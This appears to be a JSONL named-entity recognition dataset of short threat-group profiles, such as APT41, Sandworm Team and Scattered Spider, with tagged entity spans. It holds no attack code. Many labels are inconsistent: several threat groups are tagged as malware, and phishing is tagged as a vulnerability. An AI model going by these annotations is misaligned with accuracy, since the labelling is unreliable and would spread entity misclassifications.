+{"text": "Patchwork is a cyber espionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Patchwork has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. Patchwork was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.", "spans": {"MALWARE: Patchwork": [[0, 9], [214, 223], [384, 393]], "VULNERABILITY: spearphishing": [[418, 431]]}, "info": {"source": "apt_reports", "name": "Patchwork"}}
+{"text": "APT41 is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, APT41 has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries. Notable behaviors include using a wide range of malware and tools to complete mission objectives. APT41 overlaps at least partially with public reporting on groups including BARIUM and Winnti Group.", "spans": {"THREAT_ACTOR: APT41": [[0, 5], [179, 184], [463, 468]], "MALWARE: Winnti Group": [[550, 562]]}, "info": {"source": "apt_reports", "name": "APT41"}}
+{"text": "Salt Typhoon is a People's Republic of China (PRC) state-backed actor that has been active since at least 2019 and responsible for numerous compromises of network infrastructure at major U.S. telecommunication and internet service providers (ISP).", "spans": {"MALWARE: Salt Typhoon": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Salt Typhoon"}}
+{"text": "Dragonfly is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16. Active since at least 2010, Dragonfly has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.", "spans": {"MALWARE: Dragonfly": [[0, 9], [144, 153]], "VULNERABILITY: spearphishing": [[337, 350]]}, "info": {"source": "apt_reports", "name": "Dragonfly"}}
+{"text": "Evilnum is a financially motivated threat group that has been active since at least 2018.", "spans": {"THREAT_ACTOR: Evilnum": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Evilnum"}}
+{"text": "Gorgon Group is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States.", "spans": {"MALWARE: Gorgon Group": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Gorgon Group"}}
+{"text": "menuPass is a threat group that has been active since at least 2006. Individual members of menuPass are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.\n\nmenuPass has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.", "spans": {"MALWARE: menuPass": [[0, 8], [91, 99], [300, 308]]}, "info": {"source": "apt_reports", "name": "menuPass"}}
+{"text": "Night Dragon is a campaign name for activity involving a threat group that has conducted activity originating primarily in China.", "spans": {"THREAT_ACTOR: Night Dragon": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Night Dragon"}}
+{"text": "APT32 is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.", "spans": {"THREAT_ACTOR: APT32": [[0, 5]]}, "info": {"source": "apt_reports", "name": "APT32"}}
+{"text": "HAFNIUM is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. HAFNIUM primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs. HAFNIUM has targeted remote management tools and cloud software for intial access and has demonstrated an ability to quickly operationalize exploits for identified vulnerabilities in edge devices.", "spans": {"THREAT_ACTOR: HAFNIUM": [[0, 7], [131, 138], [348, 355]]}, "info": {"source": "apt_reports", "name": "HAFNIUM"}}
+{"text": "MuddyWater is a cyber espionage group assessed to be a subordinate element within Iran's Ministry of Intelligence and Security (MOIS). Since at least 2017, MuddyWater has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.", "spans": {"THREAT_ACTOR: MuddyWater": [[0, 10], [156, 166]]}, "info": {"source": "apt_reports", "name": "MuddyWater"}}
+{"text": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.", "spans": {"MALWARE: Strider": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Strider"}}
+{"text": "Operation Wocao described activities carried out by a China-based cyber espionage adversary. Operation Wocao targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. Operation Wocao used similar TTPs and tools to APT20, suggesting a possible overlap.", "spans": {"THREAT_ACTOR: Operation Wocao": [[0, 15], [93, 108], [324, 339]], "THREAT_ACTOR: APT20": [[371, 376]]}, "info": {"source": "apt_reports", "name": "Operation Wocao"}}
+{"text": "Naikon is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). Active since at least 2010, Naikon has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN). \n\nWhile Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.", "spans": {"THREAT_ACTOR: APT30": [[570, 575]], "THREAT_ACTOR: Naikon": [[0, 6], [255, 261], [530, 536]]}, "info": {"source": "apt_reports", "name": "Naikon"}}
+{"text": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.", "spans": {"THREAT_ACTOR: FIN6": [[0, 4]]}, "info": {"source": "apt_reports", "name": "FIN6"}}
+{"text": "RedEcho is a People’s Republic of China-related threat actor associated with long-running intrusions in Indian critical infrastructure entities. RedEcho overlaps with various other PRC-linked threat groups, such as APT41, and is linked to ShadowPad malware use through shared infrastructure.", "spans": {"THREAT_ACTOR: APT41": [[215, 220]], "THREAT_ACTOR: RedEcho": [[0, 7], [145, 152]], "MALWARE: ShadowPad": [[239, 248]]}, "info": {"source": "apt_reports", "name": "RedEcho"}}
+{"text": "Gamaredon Group is a suspected Russian cyber espionage group that has targeted military, law enforcement, judiciary, non-profit, and non-governmental organizations in Ukraine since at least 2013. The name Gamaredon Group derives from a misspelling of the word \"Armageddon,\" found in early campaigns.\n\nIn November 2021, the Ukrainian government publicly attributed Gamaredon Group to Russia’s Federal Security Service (FSB) Center 18, an assessment later supported by multiple independent cybersecurity researchers.", "spans": {"THREAT_ACTOR: Gamaredon Group": [[0, 15], [205, 220], [364, 379]]}, "info": {"source": "apt_reports", "name": "Gamaredon Group"}}
+{"text": "Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK.", "spans": {"MALWARE: Moafee": [[0, 6], [143, 149]], "THREAT_ACTOR: DragonOK": [[225, 233]]}, "info": {"source": "apt_reports", "name": "Moafee"}}
+{"text": "Gallmaker is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.", "spans": {"THREAT_ACTOR: Gallmaker": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Gallmaker"}}
+{"text": "Storm-1811 is a financially-motivated entity linked to Black Basta ransomware deployment. Storm-1811 is notable for unique phishing and social engineering mechanisms for initial access, such as overloading victim email inboxes with non-malicious spam to prompt a fake \"help desk\" interaction leading to the deployment of adversary tools and capabilities.", "spans": {"MALWARE: Storm-1811": [[0, 10], [90, 100]], "VULNERABILITY: phishing": [[123, 131]], "MALWARE: Black Basta": [[55, 66]]}, "info": {"source": "apt_reports", "name": "Storm-1811"}}
+{"text": "Leafminer is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017.", "spans": {"MALWARE: Leafminer": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Leafminer"}}
+{"text": "TeamTNT is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.", "spans": {"THREAT_ACTOR: TeamTNT": [[0, 7]]}, "info": {"source": "apt_reports", "name": "TeamTNT"}}
+{"text": "FIN7 is a financially-motivated threat group that has been active since 2013. FIN7 has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of FIN7 was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, FIN7 shifted operations to big game hunting (BGH), including use of REvil ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the Carbanak Group, but multiple threat groups have been observed using Carbanak, leading these groups to be tracked separately.", "spans": {"THREAT_ACTOR: FIN7": [[0, 4], [78, 82], [328, 332], [463, 467], [604, 608]], "MALWARE: Carbanak": [[630, 638], [698, 706]], "MALWARE: REvil": [[531, 536]]}, "info": {"source": "apt_reports", "name": "FIN7"}}
+{"text": "Sandworm Team is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455. This group has been active since at least 2009.\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with Sandworm Team for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide NotPetya attack, targeting of the 2017 French presidential campaign, the 2018 Olympic Destroyer attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019. Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as APT28.", "spans": {"MALWARE: Sandworm Team": [[0, 13], [323, 336]], "THREAT_ACTOR: Sandworm": [[0, 8], [323, 331]], "THREAT_ACTOR: APT28": [[867, 872]], "MALWARE: Olympic Destroyer": [[565, 582]], "MALWARE: NotPetya": [[487, 495]]}, "info": {"source": "apt_reports", "name": "Sandworm Team"}}
+{"text": "Machete is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. Machete generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.", "spans": {"MALWARE: Machete": [[0, 7], [262, 269]]}, "info": {"source": "apt_reports", "name": "Machete"}}
+{"text": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical.", "spans": {"THREAT_ACTOR: APT18": [[0, 5]]}, "info": {"source": "apt_reports", "name": "APT18"}}
+{"text": "Andariel is a North Korean state-sponsored threat group that has been active since at least 2009. Andariel has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. Andariel's notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.\n\nAndariel is considered a sub-set of Lazarus Group, and has been attributed to North Korea's Reconnaissance General Bureau.\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.", "spans": {"MALWARE: Andariel": [[0, 8], [98, 106], [392, 400], [493, 501]], "THREAT_ACTOR: Lazarus Group": [[529, 542], [787, 800]]}, "info": {"source": "apt_reports", "name": "Andariel"}}
+{"text": "CURIUM is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East. CURIUM has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note CURIUM has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.", "spans": {"MALWARE: CURIUM": [[0, 6], [156, 162], [356, 362]]}, "info": {"source": "apt_reports", "name": "CURIUM"}}
+{"text": "Sidewinder is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.", "spans": {"MALWARE: Sidewinder": [[0, 10]]}, "info": {"source": "apt_reports", "name": "Sidewinder"}}
+{"text": "Mustang Panda is a China-based cyber espionage threat actor that has been conducting operations since at least 2012. Mustang Panda has been known to use tailored phishing lures and decoy documents to deliver malicious payloads.  Mustang Panda has targeted government, diplomatic, and non-governmental organizations, including think tanks, religious institutions, and research entities, across the United States, Europe, and Asia, with notable activity in Russia, Mongolia, Myanmar, Pakistan, and Vietnam.", "spans": {"THREAT_ACTOR: Mustang Panda": [[0, 13], [117, 130], [229, 242]], "VULNERABILITY: phishing": [[162, 170]]}, "info": {"source": "apt_reports", "name": "Mustang Panda"}}
+{"text": "ZIRCONIUM is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.", "spans": {"MALWARE: ZIRCONIUM": [[0, 9]]}, "info": {"source": "apt_reports", "name": "ZIRCONIUM"}}
+{"text": "Rocke is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name Rocke comes from the email address \"rocke@live.cn\" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between Rocke and the Iron Cybercrime Group, though this attribution has not been confirmed.", "spans": {"EMAIL: rocke@live.cn": [[225, 238]], "THREAT_ACTOR: Rocke": [[0, 5], [189, 194], [346, 351]]}, "info": {"source": "apt_reports", "name": "Rocke"}}
+{"text": "Scattered Spider is a native English-speaking cybercriminal group active since at least 2022.   The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. \nScattered Spider relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain.   \nScattered Spider had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365.", "spans": {"THREAT_ACTOR: Scattered Spider": [[0, 16], [393, 409], [731, 747]], "SYSTEM: Office 365": [[900, 910]], "SYSTEM: AWS": [[891, 894]], "ORGANIZATION: Okta": [[885, 889]]}, "info": {"source": "apt_reports", "name": "Scattered Spider"}}
+{"text": "APT39 is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. APT39 has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.", "spans": {"THREAT_ACTOR: APT39": [[0, 5], [204, 209]]}, "info": {"source": "apt_reports", "name": "APT39"}}
+{"text": "UNC3886 is a China-nexus cyberespionage group that has been active since at least 2022, targeting defense, technology, and telecommunication organizations located in the United States and the Asia-Pacific-Japan (APJ) regions. UNC3886 has displayed a deep understanding of edge devices and virtualization technologies through the exploitation of zero-day vulnerabilities and the use of novel malware families and utilities.", "spans": {"THREAT_ACTOR: UNC3886": [[0, 7], [226, 233]], "VULNERABILITY: zero-day": [[345, 353]]}, "info": {"source": "apt_reports", "name": "UNC3886"}}
+{"text": "Contagious Interview is a North Korea–aligned threat group active since 2023. The group conducts both cyberespionage and financially motivated operations, including the theft of cryptocurrency and user credentials. Contagious Interview targets Windows, Linux, and macOS systems, with a particular focus on individuals engaged in software development and cryptocurrency-related activities.", "spans": {"THREAT_ACTOR: Contagious Interview": [[0, 20], [215, 235]], "SYSTEM: macOS": [[264, 269]], "SYSTEM: Windows": [[244, 251]], "SYSTEM: Linux": [[253, 258]]}, "info": {"source": "apt_reports", "name": "Contagious Interview"}}
+{"text": "TA2541 is a cybercriminal group that has been targeting the aviation, aerospace, transportation, manufacturing, and defense industries since at least 2017. TA2541 campaigns are typically high volume and involve the use of commodity remote access tools obfuscated by crypters and themes related to aviation, transportation, and travel.", "spans": {"THREAT_ACTOR: TA2541": [[0, 6], [156, 162]]}, "info": {"source": "apt_reports", "name": "TA2541"}}
+{"text": "Akira is a ransomware variant and ransomware deployment entity active since at least March 2023. Akira uses compromised credentials to access single-factor external access mechanisms such as VPNs for initial access, then various publicly-available tools and techniques for lateral movement. Akira operations are associated with \"double extortion\" ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Technical analysis of Akira ransomware indicates variants capable of targeting Windows or VMWare ESXi hypervisors and multiple overlaps with Conti ransomware.", "spans": {"MALWARE: Akira": [[0, 5], [97, 102], [291, 296], [517, 522]], "SYSTEM: ESXi": [[592, 596]], "SYSTEM: Windows": [[574, 581]], "MALWARE: Conti": [[636, 641]]}, "info": {"source": "apt_reports", "name": "Akira"}}
+{"text": "APT37 is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. APT37 has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.", "spans": {"THREAT_ACTOR: APT37": [[0, 5], [271, 276]], "THREAT_ACTOR: Lazarus Group": [[658, 671]]}, "info": {"source": "apt_reports", "name": "APT37"}}
+{"text": "Moses Staff is a suspected Iranian threat group that has primarily targeted Israeli companies since at least September 2021. Moses Staff openly stated their motivation in attacking Israeli companies is to cause damage by leaking stolen sensitive data and encrypting the victim's networks without a ransom demand. \n\nSecurity researchers assess Moses Staff is politically motivated, and has targeted government, finance, travel, energy, manufacturing, and utility companies outside of Israel as well, including those in Italy, India, Germany, Chile, Turkey, the UAE, and the US.", "spans": {"MALWARE: Moses Staff": [[0, 11], [125, 136], [343, 354]]}, "info": {"source": "apt_reports", "name": "Moses Staff"}}
+{"text": "OilRig is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. The group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.", "spans": {"THREAT_ACTOR: OilRig": [[0, 6]]}, "info": {"source": "apt_reports", "name": "OilRig"}}
+{"text": "The Windigo group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the Ebury SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, Windigo operators continued updating Ebury through 2019.", "spans": {"MALWARE: Windigo": [[4, 11], [220, 227]], "TOOL: SSH": [[123, 126]], "SYSTEM: Unix": [[94, 98]], "SYSTEM: Linux": [[84, 89]], "MALWARE: Ebury": [[117, 122], [257, 262]]}, "info": {"source": "apt_reports", "name": "Windigo"}}
+{"text": "Higaisa is a threat group suspected to have South Korean origins. Higaisa has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. Higaisa was first disclosed in early 2019 but is assessed to have operated as early as 2009.", "spans": {"THREAT_ACTOR: Higaisa": [[0, 7], [66, 73], [243, 250]]}, "info": {"source": "apt_reports", "name": "Higaisa"}}
+{"text": "Carbanak is a cybercriminal group that has used Carbanak malware to target financial institutions since at least 2013. Carbanak may be linked to groups tracked separately as Cobalt Group and FIN7 that have also used Carbanak malware.", "spans": {"MALWARE: Carbanak": [[0, 8], [48, 56], [119, 127], [216, 224]], "THREAT_ACTOR: Cobalt": [[174, 180]], "THREAT_ACTOR: FIN7": [[191, 195]], "MALWARE: Cobalt Group": [[174, 186]]}, "info": {"source": "apt_reports", "name": "Carbanak"}}
+{"text": "Tropic Trooper is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. Tropic Trooper focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.", "spans": {"MALWARE: Tropic Trooper": [[0, 14], [138, 152]]}, "info": {"source": "apt_reports", "name": "Tropic Trooper"}}
+{"text": "Orangeworm is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. Reverse engineering of Kwampirs, directly associated with Orangeworm activity, indicates significant functional and development overlaps with Shamoon.", "spans": {"THREAT_ACTOR: Orangeworm": [[0, 10], [244, 254]], "MALWARE: Shamoon": [[328, 335]], "MALWARE: Kwampirs": [[209, 217]]}, "info": {"source": "apt_reports", "name": "Orangeworm"}}
+{"text": "Sea Turtle is a Türkiye-linked threat actor active since at least 2017 performing espionage and service provider compromise operations against victims in Asia, Europe, and North America. Sea Turtle is notable for targeting registrars managing ccTLDs and complex DNS-based intrusions where the threat actor compromised DNS providers to hijack DNS resolution for ultimate victims, enabling Sea Turtle to spoof log in portals and other applications for credential collection.", "spans": {"THREAT_ACTOR: Sea Turtle": [[0, 10], [187, 197], [388, 398]]}, "info": {"source": "apt_reports", "name": "Sea Turtle"}}
+{"text": "Taidoor has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.", "spans": {"THREAT_ACTOR: Taidoor": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Taidoor"}}
+{"text": "Suckfly is a China-based threat group that has been active since at least 2014.", "spans": {"MALWARE: Suckfly": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Suckfly"}}
+{"text": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD).", "spans": {"MALWARE: Putter Panda": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Putter Panda"}}
+{"text": "Operation Sharpshooter is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and Lazarus Group have been noted, definitive links have not been established.", "spans": {"MALWARE: Sharpshooter": [[10, 22]], "THREAT_ACTOR: Operation Sharpshooter": [[0, 22]], "THREAT_ACTOR: Lazarus Group": [[196, 209]]}, "info": {"source": "apt_reports", "name": "Sharpshooter"}}
+{"text": "POLONIUM is a Lebanon-based group that has primarily targeted Israeli organizations, including critical manufacturing, information technology, and defense industry companies, since at least February 2022. Security researchers assess POLONIUM has coordinated their operations with multiple actors affiliated with Iran’s Ministry of Intelligence and Security (MOIS), based on victim overlap as well as common techniques and tooling.", "spans": {"THREAT_ACTOR: POLONIUM": [[0, 8], [233, 241]]}, "info": {"source": "apt_reports", "name": "POLONIUM"}}
+{"text": "TA459 is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others.", "spans": {"MALWARE: TA459": [[0, 5]]}, "info": {"source": "apt_reports", "name": "TA459"}}
+{"text": "Aquatic Panda is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, Aquatic Panda has primarily targeted entities in the telecommunications, technology, and government sectors.", "spans": {"MALWARE: Aquatic Panda": [[0, 13], [159, 172]]}, "info": {"source": "apt_reports", "name": "Aquatic Panda"}}
+{"text": "Aoqin Dragon is a suspected Chinese cyber espionage threat group that has been active since at least 2013. Aoqin Dragon has primarily targeted government, education, and telecommunication organizations in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. Security researchers noted a potential association between Aoqin Dragon and UNC94, based on malware, infrastructure, and targets.", "spans": {"THREAT_ACTOR: Aoqin Dragon": [[0, 12], [107, 119], [320, 332]]}, "info": {"source": "apt_reports", "name": "Aoqin Dragon"}}
+{"text": "Ferocious Kitten is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.", "spans": {"THREAT_ACTOR: Ferocious Kitten": [[0, 16]], "MALWARE: Ferocious": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Ferocious Kitten"}}
+{"text": "The White Company is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.", "spans": {"MALWARE: The White Company": [[0, 17]]}, "info": {"source": "apt_reports", "name": "The White Company"}}
+{"text": "Ke3chang is a threat group attributed to actors operating out of China. Ke3chang has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.", "spans": {"MALWARE: Ke3chang": [[0, 8], [72, 80]]}, "info": {"source": "apt_reports", "name": "Ke3chang"}}
+{"text": "Saint Bear is a Russian-nexus threat actor active since early 2021, primarily targeting entities in Ukraine and Georgia. The group is notable for a specific remote access tool, Saint Bot, and information stealer, OutSteel in campaigns. Saint Bear typically relies on phishing or web staging of malicious documents and related file types for initial access, spoofing government or related entities. Saint Bear has previously been confused with Ember Bear operations, but analysis of behaviors, tools, and targeting indicates these are distinct clusters.", "spans": {"MALWARE: Saint Bear": [[0, 10], [236, 246], [398, 408]], "VULNERABILITY: phishing": [[267, 275]], "MALWARE: Saint Bot": [[177, 186]], "MALWARE: Ember Bear": [[443, 453]], "MALWARE: OutSteel": [[213, 221]]}, "info": {"source": "apt_reports", "name": "Saint Bear"}}
+{"text": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398.", "spans": {"THREAT_ACTOR: APT1": [[0, 4]]}, "info": {"source": "apt_reports", "name": "APT1"}}
+{"text": "Frankenstein is a campaign carried out between January and April 2019 by unknown threat actors. The campaign name comes from the actors' ability to piece together several unrelated components.", "spans": {"THREAT_ACTOR: Frankenstein": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Frankenstein"}}
+{"text": "DarkHydrus is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks.", "spans": {"THREAT_ACTOR: DarkHydrus": [[0, 10]]}, "info": {"source": "apt_reports", "name": "DarkHydrus"}}
+{"text": "Confucius is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between Confucius and Patchwork, particularly in their respective custom malware code and targets.", "spans": {"MALWARE: Confucius": [[0, 9], [248, 257]], "MALWARE: Patchwork": [[262, 271]]}, "info": {"source": "apt_reports", "name": "Confucius"}}
+{"text": "BlackTech is a suspected Chinese cyber espionage group that has primarily targeted organizations in East Asia--particularly Taiwan, Japan, and Hong Kong--and the US since at least 2013. BlackTech has used a combination of custom malware, dual-use tools, and living off the land tactics to compromise media, construction, engineering, electronics, and financial company networks.", "spans": {"THREAT_ACTOR: BlackTech": [[0, 9], [186, 195]]}, "info": {"source": "apt_reports", "name": "BlackTech"}}
+{"text": "Leviathan is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company. Active since at least 2009, Leviathan has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Australia, Europe, the Middle East, and Southeast Asia.", "spans": {"THREAT_ACTOR: Leviathan": [[0, 9], [222, 231]]}, "info": {"source": "apt_reports", "name": "Leviathan"}}
+{"text": "MoustachedBouncer is a cyberespionage group that has been active since at least 2014 targeting foreign embassies in Belarus.", "spans": {"THREAT_ACTOR: MoustachedBouncer": [[0, 17]]}, "info": {"source": "apt_reports", "name": "MoustachedBouncer"}}
+{"text": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack.", "spans": {"THREAT_ACTOR: Group5": [[0, 6], [248, 254]], "TOOL: njRAT": [[315, 320]], "SYSTEM: Android": [[349, 356]], "VULNERABILITY: spearphishing": [[172, 185]], "MALWARE: NanoCore": [[325, 333]]}, "info": {"source": "apt_reports", "name": "Group5"}}
+{"text": "Blue Mockingbird is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.", "spans": {"MALWARE: Blue Mockingbird": [[0, 16], [176, 192]], "SYSTEM: Windows": [[137, 144]]}, "info": {"source": "apt_reports", "name": "Blue Mockingbird"}}
+{"text": "Winter Vivern is a group linked to Russian and Belorussian interests active since at least 2020 targeting various European government and NGO entities, along with sporadic targeting of Indian and US victims. The group leverages a combination of document-based phishing activity and server-side exploitation for initial access, leveraging adversary-controlled and -created infrastructure for follow-on command and control.", "spans": {"THREAT_ACTOR: Winter Vivern": [[0, 13]], "VULNERABILITY: phishing": [[260, 268]]}, "info": {"source": "apt_reports", "name": "Winter Vivern"}}
+{"text": "SilverTerrier is a Nigerian threat group that has been seen active since 2014. SilverTerrier mainly targets organizations in high technology, higher education, and manufacturing.", "spans": {"THREAT_ACTOR: SilverTerrier": [[0, 13], [79, 92]]}, "info": {"source": "apt_reports", "name": "SilverTerrier"}}
+{"text": "Dragonfly 2.0 is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015.   There is debate over the extent of overlap between Dragonfly 2.0 and Dragonfly, but there is sufficient evidence to lead to these being tracked as two separate groups.", "spans": {"MALWARE: Dragonfly 2.0": [[0, 13], [214, 227]], "MALWARE: Dragonfly": [[0, 9], [214, 223], [232, 241]]}, "info": {"source": "apt_reports", "name": "Dragonfly 2.0"}}
+{"text": "Stolen Pencil is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.", "spans": {"MALWARE: Stolen Pencil": [[0, 13]]}, "info": {"source": "apt_reports", "name": "Stolen Pencil"}}
